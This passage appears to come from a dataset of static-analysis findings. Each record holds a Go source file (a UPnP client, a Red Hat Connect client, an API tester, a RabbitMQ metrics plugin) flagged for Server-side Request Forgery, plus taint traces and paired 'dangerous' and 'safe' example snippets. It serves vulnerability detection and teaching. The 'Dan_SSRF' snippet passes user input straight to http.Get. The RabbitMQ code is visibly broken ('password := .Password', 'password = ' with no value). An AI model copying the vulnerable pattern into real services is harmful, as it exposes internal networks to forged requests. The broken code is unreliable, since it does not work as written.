Root struct {\n\tBaseURL string\n\tUsername string\n\tPassword string\n\tDevice Device `xml:\"device\"`\n\tServices map[string]*Service // Map of all services indexed by .ServiceType\n}\n\n// Device represents an UPNP device\ntype Device struct {\n\troot *Root\n\n\tDeviceType string `xml:\"deviceType\"`\n\tFriendlyName string `xml:\"friendlyName\"`\n\tManufacturer string `xml:\"manufacturer\"`\n\tManufacturerURL string `xml:\"ManufacturerURL\"`\n\tModelDescription string `xml:\"modelDescription\"`\n\tModelName string `xml:\"modelName\"`\n\tModelNumber string `xml:\"modelNumber\"`\n\tModelURL string `xml:\"ModelURL\"`\n\tUDN string `xml:\"UDN\"`\n\n\tServices []*Service `xml:\"serviceList>service\"` // Service of the device\n\tDevices []*Device `xml:\"deviceList>device\"` // Sub-Devices of the device\n\n\tPresentationURL string `xml:\"PresentationURL\"`\n}\n\n// Service represents an UPnP Service\ntype Service struct {\n\tDevice *Device\n\n\tServiceType string `xml:\"serviceType\"`\n\tServiceID string `xml:\"serviceId\"`\n\tControlURL string `xml:\"controlURL\"`\n\tEventSubURL string `xml:\"eventSubURL\"`\n\tSCPDURL string `xml:\"SCPDURL\"`\n\n\tActions map[string]*Action // All actions available on the service\n\tStateVariables []*StateVariable // All state variables available on the service\n}\n\ntype scpdRoot struct {\n\tActions []*Action `xml:\"actionList>action\"`\n\tStateVariables []*StateVariable `xml:\"serviceStateTable>stateVariable\"`\n}\n\n// Action represents an UPnP Action on a Service\ntype Action struct {\n\tservice *Service\n\n\tName string `xml:\"name\"`\n\tArguments []*Argument `xml:\"argumentList>argument\"`\n\tArgumentMap map[string]*Argument // Map of arguments indexed by .Name\n}\n\n// An Argument to an action\ntype Argument struct {\n\tName string `xml:\"name\"`\n\tDirection string `xml:\"direction\"`\n\tRelatedStateVariable string `xml:\"relatedStateVariable\"`\n\tStateVariable *StateVariable\n}\n\n// StateVariable is a variable that can be manipulated through actions\ntype StateVariable struct {\n\tName string `xml:\"name\"`\n\tDataType string `xml:\"dataType\"`\n\tDefaultValue string `xml:\"defaultValue\"`\n}\n\n// Result are all output argements of the Call():\n// The map is indexed by the name of the state variable.\n// The type of the value is string, uint64 or bool depending of the DataType of the variable.\ntype Result map[string]interface{}\n\nfunc (r *Root) fetchAndDecode(path string) error {\n\turi := fmt.Sprintf(\"%s/%s\", r.BaseURL, path)\n\tresponse, err := http.Get(uri)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"could not get %s\", uri)\n\t}\n\tdefer response.Body.Close()\n\n\tdec := xml.NewDecoder(response.Body)\n\tif err = dec.Decode(r); err != nil {\n\t\treturn errors.Wrap(err, \"could not decode XML\")\n\t}\n\n\treturn nil\n}\n\n// load the whole tree\nfunc (r *Root) load() error {\n\tif err := r.fetchAndDecode(\"igddesc.xml\"); err != nil {\n\t\treturn err\n\t}\n\n\tr.Services = make(map[string]*Service)\n\treturn r.Device.fillServices(r)\n}\n\nfunc (r *Root) loadTr64() error {\n\tif err := r.fetchAndDecode(\"tr64desc.xml\"); err != nil {\n\t\treturn err\n\t}\n\n\tr.Services = make(map[string]*Service)\n\treturn r.Device.fillServices(r)\n}\n\n// load all service descriptions\nfunc (d *Device) fillServices(r *Root) error {\n\td.root = r\n\n\tfor _, s := range d.Services {\n\t\ts.Device = d\n\n\t\tresponse, err := http.Get(r.BaseURL + s.SCPDURL)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not get service descriptions\")\n\t\t}\n\n\t\terr = s.parseActions(response.Body)\n\t\tresponse.Body.Close()\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tr.Services[s.ServiceType] = s\n\t}\n\n\t// Handle sub-devices\n\tfor _, d2 := range d.Devices {\n\t\tif err := d2.fillServices(r); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not fill services\")\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (s *Service) parseActions(r io.Reader) error {\n\tvar scpd scpdRoot\n\n\tdec := xml.NewDecoder(r)\n\tif err := dec.Decode(&scpd); err != nil {\n\t\treturn errors.Wrap(err, \"could not decode xml\")\n\t}\n\n\ts.Actions = make(map[string]*Action)\n\tfor _, a := range scpd.Actions {\n\t\ts.Actions[a.Name] = a\n\t}\n\ts.StateVariables = scpd.StateVariables\n\n\tfor _, a := range s.Actions {\n\t\ta.service = s\n\t\ta.ArgumentMap = make(map[string]*Argument)\n\n\t\tfor _, arg := range a.Arguments {\n\t\t\tfor _, svar := range s.StateVariables {\n\t\t\t\tif arg.RelatedStateVariable == svar.Name {\n\t\t\t\t\targ.StateVariable = svar\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ta.ArgumentMap[arg.Name] = arg\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// LoadServices loads the services tree from a device.\nfunc LoadServices(device string, port uint16, username string, password string) (*Root, error) {\n\troot := &Root{\n\t\tBaseURL: fmt.Sprintf(\"http://%s:%d\", device, port),\n\t\tUsername: username,\n\t\tPassword: password,\n\t}\n\n\tif err := root.load(); err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not load root element\")\n\t}\n\n\trootTr64 := &Root{\n\t\tBaseURL: fmt.Sprintf(\"http://%s:%d\", device, port),\n\t\tUsername: username,\n\t\tPassword: password,\n\t}\n\n\tif err := rootTr64.loadTr64(); err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not load Tr64\")\n\t}\n\n\tfor k, v := range rootTr64.Services {\n\t\troot.Services[k] = v\n\t}\n\n\treturn root, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 114, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 114, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 115, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "5357ec6ec7a9636535f4053bc215d3177a98672b0f2e2c56cad0df9392dc5a3d", "license": {"spdx": ["Apache-2.0"], "repo": "Siddhesh-Ghadi/redhat-marketplace-operator", "path": "scripts/connect/client.go", "repo_head_hexsha": "c7bb0d65cbe1c5294b820609ba837df1836faa50", "stack_hexsha": "4531f9d4bf5aee237cf6924df648765fadc8f43d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 150, "entireCode": "package connect\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"emperror.dev/errors\"\n)\n\n// client\nconst domain = \"https://connect.redhat.com/api/v2\"\n\ntype connectClient struct {\n\t*http.Client\n}\n\ntype withHeader struct {\n\thttp.Header\n\trt http.RoundTripper\n}\n\nfunc WithHeader(rt http.RoundTripper) withHeader {\n\tif rt == nil {\n\t\trt = http.DefaultTransport\n\t}\n\n\treturn withHeader{Header: make(http.Header), rt: rt}\n}\n\nfunc (h withHeader) RoundTrip(req *http.Request) (*http.Response, error) {\n\tfor k, v := range h.Header {\n\t\treq.Header[k] = v\n\t}\n\n\treturn h.rt.RoundTrip(req)\n}\n\nfunc NewConnectClient(token string) *connectClient {\n\tclient := http.DefaultClient\n\trt := WithHeader(client.Transport)\n\trt.Add(\"Content-Type\", \"application/json\")\n\trt.Add(\"Authorization\", fmt.Sprintf(\"Bearer %s\", token))\n\tclient.Transport = rt\n\n\treturn &connectClient{\n\t\tClient: client,\n\t}\n}\n\ntype scanResults struct {\n\tStatus string `json:\"status\"`\n\tMessage string `json:\"message\"`\n\tCode int32 `json:\"code\"`\n\tData scanData `json:\"data\"`\n}\n\ntype scanData struct {\n\tScanProfile string `json:\"scan_profile\"`\n\tResults map[string]bool `json:\"results\"`\n}\n\nfunc (s *scanResults) IsPassed() bool {\n\tfor _, result := range s.Data.Results {\n\t\tif !result {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\ntype connectResponse struct {\n\tStatus string `json:\"status\"`\n\tMessage string `json:\"message\"`\n\tCode int32 `json:\"code\"`\n\tData connectResponseData `json:\"data,omitempty\"`\n}\n\ntype connectResponseData struct {\n\tErrors []string `json:\"errors,omitempty\"`\n}\n\nfunc (c *connectResponse) IsOK() bool {\n\treturn c.Code == 200\n}\n\nfunc (c *connectResponse) IsError() bool {\n\treturn c.Code >= 300\n}\n\nfunc (c *connectResponse) IsAlreadyPublished() bool {\n\treturn c.Code == 423 &&\n\t\tlen(c.Data.Errors) == 1 &&\n\t\tstrings.Contains(c.Data.Errors[0], \"Container image is already published\")\n}\n\ntype tagResponse struct {\n\tTags []pcTag `json:\"tags\"`\n}\n\ntype pcTag struct {\n\tDigest string\n\tName string\n\tHealthIndex string `json:\"health_index\"`\n\tPublished bool\n\tScanStatus string `json:\"scan_status\"`\n}\n\nfunc (p *pcTag) String() string {\n\treturn p.Digest + \" \" + p.Name + \" \" + p.ScanStatus\n}\n\nfunc (c *connectClient) PublishDigest(opsid, digest, tag string) (*connectResponse, error) {\n\tprojectURL := fmt.Sprintf(\"%s/projects/%s/containers/%s/tags/%s/publish?latest=true\", domain, opsid, digest, tag)\n\tu, _ := url.Parse(projectURL)\n\n\tfmt.Println(u.String())\n\n\tresp, err := c.Post(u.String(), \"application/json\", strings.NewReader(\"{}\"))\n\tdefer resp.Body.Close()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\n\tfmt.Printf(\"publishResults %s\\n\", string(body))\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error reading body\")\n\t}\n\n\tvar data connectResponse\n\terr = json.Unmarshal(body, &data)\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error json marshalling\")\n\t}\n\n\treturn &data, nil\n}\n\nfunc (c *connectClient) GetTag(opsid, digest string) (*pcTag, error) {\n\tprojectURL := fmt.Sprintf(\"%s/projects/%s/tags\", domain, opsid)\n\treq, err := http.NewRequest(\"POST\", projectURL, strings.NewReader(\"{}\"))\n\t//base, err := url.Parse(projectURL)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tq := req.URL.Query()\n\tq.Add(\"digests\", digest)\n\treq.URL.RawQuery = q.Encode()\n\n\tfmt.Println(req.URL.String())\n\n\tresp, err := c.Do(req)\n\tdefer resp.Body.Close()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif resp.StatusCode != 200 {\n\t\treturn nil, errors.Errorf(\"non 200 response %v\", resp.Status)\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tfmt.Printf(\"body: %s\\n\", string(body))\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error reading body\")\n\t}\n\n\tvar data tagResponse\n\terr = json.Unmarshal(body, &data)\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error json marshalling\")\n\t}\n\n\tif len(data.Tags) == 0 {\n\t\treturn nil, nil\n\t}\n\n\treturn &data.Tags[0], nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 149, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 149, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 150, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "2a1d1fd424a59c1d34a0feef2219e139c98c37e6dc7c5c30dd0a93865f281e66", "license": {"spdx": ["MIT"], "repo": "o-shabashov/cess", "path": "cess.go", "repo_head_hexsha": "45f0613f6158823791e54d3800017b6601661787", "stack_hexsha": "b22b1215e0f352e1bc7e268f2045337fbce326f5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 96, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/oshabashov/cess/cess\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"sync\"\n\n\t_ \"github.com/go-sql-driver/mysql\"\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nconst configFile = \"config.json\"\n\nfunc main() {\n\tconfig := GetConfig()\n\n\tvar wg sync.WaitGroup\n\twg.Add(len(config.Databases) + len(config.Services))\n\n\tfor _, db := range config.Databases {\n\t\tgo TestDatabase(db, &wg)\n\t}\n\n\tfor _, service := range config.Services {\n\t\tgo TestApi(service, &wg)\n\t}\n\n\twg.Wait()\n}\n\nfunc GetConfig() (config cess.Config) {\n\tlogger := log.WithFields(log.Fields{\"config_file\": configFile})\n\n\tif _, err := os.Stat(configFile); os.IsNotExist(err) {\n\t\tlogger.Warn(\"Whoops, config file isn't exist, first run? Whatever, creating sample config for you\")\n\t\terr := ioutil.WriteFile(configFile, []byte(cess.SampleConfig), 0644)\n\t\tCheckError(err, logger)\n\t\tlog.Info(\"Done! Please edit config.json and run me again.\")\n\t\tos.Exit(0)\n\t}\n\n\tconfig = cess.Config{}\n\tjsonRaw, er := ioutil.ReadFile(configFile)\n\tCheckError(er, logger)\n\tCheckError(json.Unmarshal(jsonRaw, &config), logger)\n\n\tif er == nil {\n\t\tlog.Info(\"JSON config file - OK\")\n\t}\n\n\treturn\n}\n\nfunc GetDBConnection(db cess.Database) *sql.DB {\n\n\tdbUrl := fmt.Sprintf(\"%v:%v@tcp(%v:%v)/%v\", db.Username, db.Password, db.Host, db.Port, db.Name)\n\tlogger := log.WithFields(log.Fields{\"db_url\": dbUrl})\n\n\tdbConnect, err := sql.Open(db.Engine, dbUrl)\n\tCheckError(err, logger)\n\n\treturn dbConnect\n}\n\nfunc TestDatabase(db cess.Database, wg *sync.WaitGroup) {\n\tlogger := log.WithFields(log.Fields{\"db_name\": db.Name, \"db_host\": db.Host})\n\n\tdbConnect := GetDBConnection(db)\n\t_, err := dbConnect.Query(\"SHOW TABLES\")\n\tCheckError(err, logger)\n\n\tif err == nil {\n\t\tlogger.Info(\"Test DB query - OK\")\n\t}\n\n\twg.Done()\n}\n\nfunc TestApi(api cess.Api, wg *sync.WaitGroup) {\n\tapiUrlAction := fmt.Sprintf(\"%v%v\", api.Url, api.Action)\n\n\tlogger := log.WithFields(log.Fields{\"api_name\": api.Url, \"api_url_action\": apiUrlAction})\n\n\tdata := url.Values{}\n\tfor key, value := range api.Data {\n\t\tdata.Set(key, value)\n\t}\n\n\treq, err := http.NewRequest(api.Method, apiUrlAction, bytes.NewBufferString(data.Encode()))\n\tCheckError(err, logger)\n\n\tfor key, value := range api.Headers {\n\t\treq.Header.Set(key, value)\n\t}\n\n\tresp, err := http.DefaultClient.Do(req)\n\tCheckError(err, logger)\n\n\tif resp == nil {\n\t\twg.Done()\n\t\treturn\n\t}\n\n\tif resp.StatusCode != 200 {\n\t\tbody, _ := ioutil.ReadAll(resp.Body)\n\t\tlogger.Warn(fmt.Sprintf(\"API returned %v: %v\", resp.StatusCode, string(body)))\n\t} else {\n\t\tlogger.Info(\"API returned 200 - OK\")\n\t}\n\tdefer resp.Body.Close()\n\n\twg.Done()\n}\n\nfunc CheckError(err error, logger *log.Entry) {\n\tif err != nil {\n\t\tlogger.Error(err.Error())\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 87, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 87, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 96, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "6a8bcb5091d9b92b673856b5f974fb1e3021dd27938e32a73839b573a0d3e544", "license": {"spdx": ["MIT"], "repo": "tangentspace/telegraf-cloudwatch-plugin", "path": "plugins/rabbitmq/rabbitmq.go", "repo_head_hexsha": "490872bd10decf39b286cf8cf597d121bd567b91", "stack_hexsha": "8fe5437d37028d1311bd75b2abccd092acbb18e6", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 155, "entireCode": "package rabbitmq\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strconv\"\n\n\t\"github.com/influxdb/telegraf/plugins\"\n)\n\nconst DefaultUsername = \"guest\"\nconst DefaultPassword = \"\"\nconst DefaultURL = \"http://localhost:15672\"\n\ntype Server struct {\n\tURL string\n\tName string\n\tUsername string\n\tPassword string\n\tNodes []string\n\tQueues []string\n}\n\ntype RabbitMQ struct {\n\tServers []*Server\n\n\tClient *http.Client\n}\n\ntype OverviewResponse struct {\n\tMessageStats *MessageStats `json:\"message_stats\"`\n\tObjectTotals *ObjectTotals `json:\"object_totals\"`\n\tQueueTotals *QueueTotals `json:\"queue_totals\"`\n}\n\ntype Details struct {\n\tRate float64\n}\n\ntype MessageStats struct {\n\tAck int64\n\tAckDetails Details `json:\"ack_details\"`\n\tDeliver int64\n\tDeliverDetails Details `json:\"deliver_details\"`\n\tDeliverGet int64\n\tDeliverGetDetails Details `json:\"deliver_get_details\"`\n\tPublish int64\n\tPublishDetails Details `json:\"publish_details\"`\n\tRedeliver int64\n\tRedeliverDetails Details `json:\"redeliver_details\"`\n}\n\ntype ObjectTotals struct {\n\tChannels int64\n\tConnections int64\n\tConsumers int64\n\tExchanges int64\n\tQueues int64\n}\n\ntype QueueTotals struct {\n\tMessages int64\n\tMessagesReady int64 `json:\"messages_ready\"`\n\tMessagesUnacknowledged int64 `json:\"messages_unacknowledged\"`\n}\n\ntype Queue struct {\n\tQueueTotals // just to not repeat the same code\n\tMessageStats `json:\"message_stats\"`\n\tMemory int64\n\tConsumers int64\n\tConsumerUtilisation float64 `json:\"consumer_utilisation\"`\n\tName string\n\tNode string\n\tVhost string\n\tDurable bool\n\tAutoDelete bool `json:\"auto_delete\"`\n}\n\ntype Node struct {\n\tName string\n\n\tDiskFree int64 `json:\"disk_free\"`\n\tDiskFreeLimit int64 `json:\"disk_free_limit\"`\n\tFdTotal int64 `json:\"fd_total\"`\n\tFdUsed int64 `json:\"fd_used\"`\n\tMemLimit int64 `json:\"mem_limit\"`\n\tMemUsed int64 `json:\"mem_used\"`\n\tProcTotal int64 `json:\"proc_total\"`\n\tProcUsed int64 `json:\"proc_used\"`\n\tRunQueue int64 `json:\"run_queue\"`\n\tSocketsTotal int64 `json:\"sockets_total\"`\n\tSocketsUsed int64 `json:\"sockets_used\"`\n}\n\ntype gatherFunc func(r *RabbitMQ, serv *Server, acc plugins.Accumulator, errChan chan error)\n\nvar gatherFunctions = []gatherFunc{gatherOverview, gatherNodes, gatherQueues}\n\nvar sampleConfig = `\n # Specify servers via an array of tables\n [[rabbitmq.servers]]\n # name = \"rmq-server-1\" # optional tag\n # url = \"http://localhost:15672\"\n # username = \"guest\"\n # password = \"\"\n\n # A list of nodes to pull metrics about. If not specified, metrics for\n # all nodes are gathered.\n # nodes = [\"rabbit@node1\", \"rabbit@node2\"]\n`\n\nfunc (r *RabbitMQ) SampleConfig() string {\n\treturn sampleConfig\n}\n\nfunc (r *RabbitMQ) Description() string {\n\treturn \"Read metrics from one or many RabbitMQ servers via the management API\"\n}\n\nvar localhost = &Server{URL: DefaultURL}\n\nfunc (r *RabbitMQ) Gather(acc plugins.Accumulator) error {\n\tif r.Client == nil {\n\t\tr.Client = &http.Client{}\n\t}\n\n\tvar errChan = make(chan error, len(r.Servers))\n\n\t// use localhost is no servers are specified in config\n\tif len(r.Servers) == 0 {\n\t\tr.Servers = append(r.Servers, localhost)\n\t}\n\n\tfor _, serv := range r.Servers {\n\t\tfor _, f := range gatherFunctions {\n\t\t\tgo f(r, serv, acc, errChan)\n\t\t}\n\t}\n\n\tfor i := 1; i <= len(r.Servers)*len(gatherFunctions); i++ {\n\t\terr := <-errChan\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (r *RabbitMQ) requestJSON(serv *Server, u string, target interface{}) error {\n\tu = fmt.Sprintf(\"%s%s\", serv.URL, u)\n\n\treq, err := http.NewRequest(\"GET\", u, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tusername := serv.Username\n\tif username == \"\" {\n\t\tusername = DefaultUsername\n\t}\n\n\tpassword := .Password\n\tif password == \"\" {\n\t\tpassword = \n\t}\n\n\treq.SetBasicAuth(username, password)\n\n\tresp, err := r.Client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer resp.Body.Close()\n\n\tjson.NewDecoder(resp.Body).Decode(target)\n\n\treturn nil\n}\n\nfunc gatherOverview(r *RabbitMQ, serv *Server, acc plugins.Accumulator, errChan chan error) {\n\toverview := &OverviewResponse{}\n\n\terr := r.requestJSON(serv, \"/api/overview\", &overview)\n\tif err != nil {\n\t\terrChan <- err\n\t\treturn\n\t}\n\n\tif overview.QueueTotals == nil || overview.ObjectTotals == nil || overview.MessageStats == nil {\n\t\terrChan <- fmt.Errorf(\"Wrong answer from rabbitmq. Probably auth issue\")\n\t\treturn\n\t}\n\n\ttags := map[string]string{\"url\": serv.URL}\n\tif serv.Name != \"\" {\n\t\ttags[\"name\"] = serv.Name\n\t}\n\n\tacc.Add(\"messages\", overview.QueueTotals.Messages, tags)\n\tacc.Add(\"messages_ready\", overview.QueueTotals.MessagesReady, tags)\n\tacc.Add(\"messages_unacked\", overview.QueueTotals.MessagesUnacknowledged, tags)\n\n\tacc.Add(\"channels\", overview.ObjectTotals.Channels, tags)\n\tacc.Add(\"connections\", overview.ObjectTotals.Connections, tags)\n\tacc.Add(\"consumers\", overview.ObjectTotals.Consumers, tags)\n\tacc.Add(\"exchanges\", overview.ObjectTotals.Exchanges, tags)\n\tacc.Add(\"queues\", overview.ObjectTotals.Queues, tags)\n\n\tacc.Add(\"messages_acked\", overview.MessageStats.Ack, tags)\n\tacc.Add(\"messages_delivered\", overview.MessageStats.Deliver, tags)\n\tacc.Add(\"messages_published\", overview.MessageStats.Publish, tags)\n\n\terrChan <- nil\n}\n\nfunc gatherNodes(r *RabbitMQ, serv *Server, acc plugins.Accumulator, errChan chan error) {\n\tnodes := make([]Node, 0)\n\t// Gather information about nodes\n\terr := r.requestJSON(serv, \"/api/nodes\", &nodes)\n\tif err != nil {\n\t\terrChan <- err\n\t\treturn\n\t}\n\n\tfor _, node := range nodes {\n\t\tif !shouldGatherNode(node, serv) {\n\t\t\tcontinue\n\t\t}\n\n\t\ttags := map[string]string{\"url\": serv.URL}\n\t\ttags[\"node\"] = node.Name\n\n\t\tacc.Add(\"disk_free\", node.DiskFree, tags)\n\t\tacc.Add(\"disk_free_limit\", node.DiskFreeLimit, tags)\n\t\tacc.Add(\"fd_total\", node.FdTotal, tags)\n\t\tacc.Add(\"fd_used\", node.FdUsed, tags)\n\t\tacc.Add(\"mem_limit\", node.MemLimit, tags)\n\t\tacc.Add(\"mem_used\", node.MemUsed, tags)\n\t\tacc.Add(\"proc_total\", node.ProcTotal, tags)\n\t\tacc.Add(\"proc_used\", node.ProcUsed, tags)\n\t\tacc.Add(\"run_queue\", node.RunQueue, tags)\n\t\tacc.Add(\"sockets_total\", node.SocketsTotal, tags)\n\t\tacc.Add(\"sockets_used\", node.SocketsUsed, tags)\n\t}\n\n\terrChan <- nil\n}\n\nfunc gatherQueues(r *RabbitMQ, serv *Server, acc plugins.Accumulator, errChan chan error) {\n\t// Gather information about queues\n\tqueues := make([]Queue, 0)\n\terr := r.requestJSON(serv, \"/api/queues\", &queues)\n\tif err != nil {\n\t\terrChan <- err\n\t\treturn\n\t}\n\n\tfor _, queue := range queues {\n\t\tif !shouldGatherQueue(queue, serv) {\n\t\t\tcontinue\n\t\t}\n\t\ttags := map[string]string{\n\t\t\t\"url\": serv.URL,\n\t\t\t\"queue\": queue.Name,\n\t\t\t\"vhost\": queue.Vhost,\n\t\t\t\"node\": queue.Node,\n\t\t\t\"durable\": strconv.FormatBool(queue.Durable),\n\t\t\t\"auto_delete\": strconv.FormatBool(queue.AutoDelete),\n\t\t}\n\n\t\tacc.AddFields(\n\t\t\t\"queue\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t// common information\n\t\t\t\t\"consumers\": queue.Consumers,\n\t\t\t\t\"consumer_utilisation\": queue.ConsumerUtilisation,\n\t\t\t\t\"memory\": queue.Memory,\n\t\t\t\t// messages information\n\t\t\t\t\"messages\": queue.Messages,\n\t\t\t\t\"messages_ready\": queue.MessagesReady,\n\t\t\t\t\"messages_unack\": queue.MessagesUnacknowledged,\n\t\t\t\t\"messages_ack\": queue.MessageStats.Ack,\n\t\t\t\t\"messages_ack_rate\": queue.MessageStats.AckDetails.Rate,\n\t\t\t\t\"messages_deliver\": queue.MessageStats.Deliver,\n\t\t\t\t\"messages_deliver_rate\": queue.MessageStats.DeliverDetails.Rate,\n\t\t\t\t\"messages_deliver_get\": queue.MessageStats.DeliverGet,\n\t\t\t\t\"messages_deliver_get_rate\": queue.MessageStats.DeliverGetDetails.Rate,\n\t\t\t\t\"messages_publish\": queue.MessageStats.Publish,\n\t\t\t\t\"messages_publish_rate\": queue.MessageStats.PublishDetails.Rate,\n\t\t\t\t\"messages_redeliver\": queue.MessageStats.Redeliver,\n\t\t\t\t\"messages_redeliver_rate\": queue.MessageStats.RedeliverDetails.Rate,\n\t\t\t},\n\t\t\ttags,\n\t\t)\n\t}\n\n\terrChan <- nil\n}\n\nfunc shouldGatherNode(node Node, serv *Server) bool {\n\tif len(serv.Nodes) == 0 {\n\t\treturn true\n\t}\n\n\tfor _, name := range serv.Nodes {\n\t\tif name == node.Name {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc 